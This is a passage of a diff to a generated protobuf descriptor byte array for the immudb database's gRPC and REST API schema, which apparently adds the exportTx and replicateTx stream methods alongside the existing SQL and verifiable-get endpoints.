0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, + 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, + 0x70, 0x61, 0x63, 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, + 0x65, 0x61, 0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, + 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, + 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, + 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, + 0x01, 0x12, 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, + 0x42, 0x0a, 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, + 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, + 0x00, 0x30, 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, + 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, + 0x65, 0x61, 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, + 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, + 0x00, 0x30, 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, + 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, - 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, + 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x4c, 0x0a, - 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, 0x0a, 0x73, - 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, - 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, - 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, - 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x48, - 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, - 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, - 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, - 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, - 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, 0x65, 0x70, - 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, - 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, - 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, - 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, 0x62, 0x0a, 0x08, 0x53, - 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, + 0x0b, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, + 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, + 0x5e, 0x0a, 0x07, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, + 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, + 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, + 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, + 0x62, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, + 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, + 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, + 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, + 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, + 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, + 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, - 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, - 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, - 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, - 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, - 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, - 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, - 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, - 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, - 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, - 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x42, 0x8b, 0x03, 0x5a, 0x2b, 0x67, - 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, - 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, - 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0xda, 0x02, 0x12, 0xee, - 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, - 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, - 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, - 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, - 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, - 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, - 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, - 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, - 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, - 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, - 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, - 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, - 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, - 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x5a, - 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, - 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, - 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, - 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, - 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, - 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, - 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, + 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, + 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, + 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, + 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x42, 0x8b, + 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, + 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, + 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 